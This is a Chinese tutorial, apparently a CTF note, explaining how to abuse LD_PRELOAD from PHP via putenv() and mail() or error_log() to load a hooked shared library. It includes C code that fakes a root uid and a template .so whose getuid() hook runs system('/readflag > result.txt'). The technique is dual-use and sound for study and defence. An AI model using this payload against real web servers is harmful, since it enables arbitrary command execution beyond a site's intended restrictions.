PRE_LOAD
在 linux 中, PRE_LOAD 可以定义预先加载的共享库文件。设置预先加载的库文件的方法:
- 编译一个共享库文件
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so
-fPIC
告诉编译器产生与位置无关代码,则产生的代码中使用的全部是相对位置而不是绝对位置,因此代码可以被加载到内存中的任意位置并且可以正确地执行,这是共享库要求的,共享库被加载的时候在内存中的位置是不一定的。
2. 通过 export 设置环境变量
export LD_PRELOAD=./test.so
- 一个实例
编写一个文件 test.c
#include<sys/types.h>
#include<dlfcn.h>
#include<unistd.h>
uid_t geteuid(void) {return 0;}
uid_t getuid(void) {return 0;}
uid_t getgid(void) {return 0;}
按照上面的命令把文件编译成一个共享库文件,并且设置为环境变量,然后我们再执行id
命令,得到的结果返回的 id 值会变成 0,也就是说我们的共享库文件被预先加载了
- 查看命令调用的共享库文件和库函数
ldd /usr/bin/id # 查看命令调用的库文件
readelf -Ws /usr/bin/id # 查看命令调用的库函数
我们一般是找到想要利用的命令调用的库函数,然后再库函数本来的原型上重新写一个带有攻击性的函数,并且将这个文件编译成共享库文件。
putenv
php 中一般使用 putenv 来设置环境变量
putenv("LD_PRELOAD=/var/www/html/test.so")
加上这一句话就达到了上面 export
效果
一般的攻击流
只要找到可以利用的上层函数一般就可以利用了
- 找到调用这个上层函数时所要调用的系统进程
在 linux 中,进程不能直接访问硬件设备,当进程需要访问硬件设备 (比如说从磁盘读取文件、读取网络数据)时,必须要通过系统调用。
strace # 可以跟踪进程执行时的系统调用和所接收的信息
-f # 这个参数可以跟踪到fork出来的子进程
假设我们跟踪的是 php 中的 mail()函数,创建下面的文件:
<?php
mail("a","b","c","d");
?>
跟踪命令:
strace -f php mail.php 2>&1 | grep -A3 -B3 execve
可以看到子进程 /usr/sbin/sendmail
- 查看子进程调用的库函数
readelf -Ws /usr/sbin/sendmail
一般选择比较简单且常用的库函数来进行利用,比如说 void getuid(void){}
查看函数原型,然后再根据需要创建一个文件并且重写这个函数就行了。
- 上传.so 文件到网站,然后在文件中按下面的方式声明就好:
<?php
putenv("LD_PRELOAD=/var/www/html/test.so");
mail("a","b","c","d");
?>
最后访问这个 php 文件即可
如果网站 ban 掉了 mail()函数,我们可以关注 error_log()函数,这个函数向我们发送错误信息。
- error_log()函数
一些情况下,php
会ban
掉mail
函数,那么这种情况下,我们可以尝试以下errorlog()
函数,这个函数有四个参数:
error_log(message, message_type, destination, extra_headers)
# message表示要记录的错误信息
# message_type主要有四类
# 0:发送到php系统日志
# 1:发送到参数destination设置的地址,第四个参数extra_headers只有在这个情况下会被用到
# 2:不再是一个选项
# 3:被发送到destination的地址
# 4:message直接发送到SAPI的日志处理程序
# destination是在message_type设为1或者3时message被发送的地址
# extra_headers只有在message_type设为1时才会被用到
这个函数的利用点就在于当 message_type 设为 1 时,extra_headers 会调用一个 mail()的内置函数,启动 sendmail 这个进程, 这个进程会调用 getuid()这个库函数。此时,我们就可以编写.so
文件实现任意命令执行了。
- 一般的恶意共享库文件的格式
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("/readflag > result.txt");
}
int getuid(void){
unsetenv("LD_PRELOAD");
payload();
}
在system
函数中,我们就可以执行想要执行的命令了。
(如有侵权,联系删除)